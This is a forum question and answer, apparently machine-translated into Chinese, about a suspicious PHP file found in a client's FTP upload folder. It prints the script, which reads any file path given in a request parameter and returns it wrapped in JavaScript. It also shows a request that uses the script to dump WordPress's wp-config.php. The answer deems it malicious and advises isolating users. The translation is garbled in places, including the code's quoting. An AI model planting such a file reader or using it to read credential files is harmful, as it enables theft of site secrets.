这个PHP代码是恶意的,我如何保护我的主机


is this php code malicious and how can i protect my hosting?

我为客户托管一个网站,我们被要求为客户托管一些其他第三方网站商店的额外图像。

所以我创建了一个次要FTP帐户,它的根设置在主机上的某个子文件夹。

客户让正在为这个外部网站构建布局的网页设计师将所有图像放在这个FTP空间。

今天我注意到error_log中的一些警告通知,并注意到它来自一个php文件,也在这个FTP空间内。

PHP的内容如下:

<?php
ini_set('display_errors',1);
$file1=trim($_REQUEST['f1']);
$read1=file_get_contents($file1);
$read1 = rawurlencode($read1);
echo "document.write(unescape('"$read1'"))";
?>

当我第一次阅读代码时,我无法弄清楚为什么它在FTP空间或它做了什么,但我开始通过向f1参数添加一些路径来查看返回的响应,我发现我可以输出我的wordpress安装wp-config.php文件,该文件从这个FTP的根文件夹返回一个文件夹。

e。G通过PHP脚本运行此参数。它输出了我的配置的内容:domain.com ? f1 =/mnt/存储/vhost domain.com/httpdocs/wordpress/wp-config.php

现在我只是想弄清楚如果这个代码可能已经被放置在FTP存储除了恶意的任何其他原因?

我怎么能保护我的文件不被这样读的时候给FTP访问到一个子文件夹上的主机?

谢谢。

脚本打开传入GET参数的文件,读取它,对其进行URL编码,然后将其发送到包装在一些JavaScript中的浏览器,该JavaScript在客户端对其进行解码。

几乎可以保证脚本是带有恶意意图编写的。虽然输出文件的内容可能有合法用途,但这里使用的(非常基本的)混淆技术使其超越了任何合理怀疑的边缘。

用户的FTP根可能受到保护,但似乎没有为用户运行单独的PHP解释器。这意味着任何可以将代码写入其网站空间并通过PHP解释器执行代码的用户都可以以PHP解释器运行的用户身份运行代码。由于PHP必须读取wordpress的配置,因此您几乎无法确保当前设置的安全性。

理想情况下,您希望将每个用户隔离在他们自己的chroot或docker实例中,并使用他们自己的PHP解释器。除此之外,您绝对不应该允许FTP访问或任何其他方法在您的系统上上传文件,因为安全模型的设计根本无法承受这种级别的用户访问。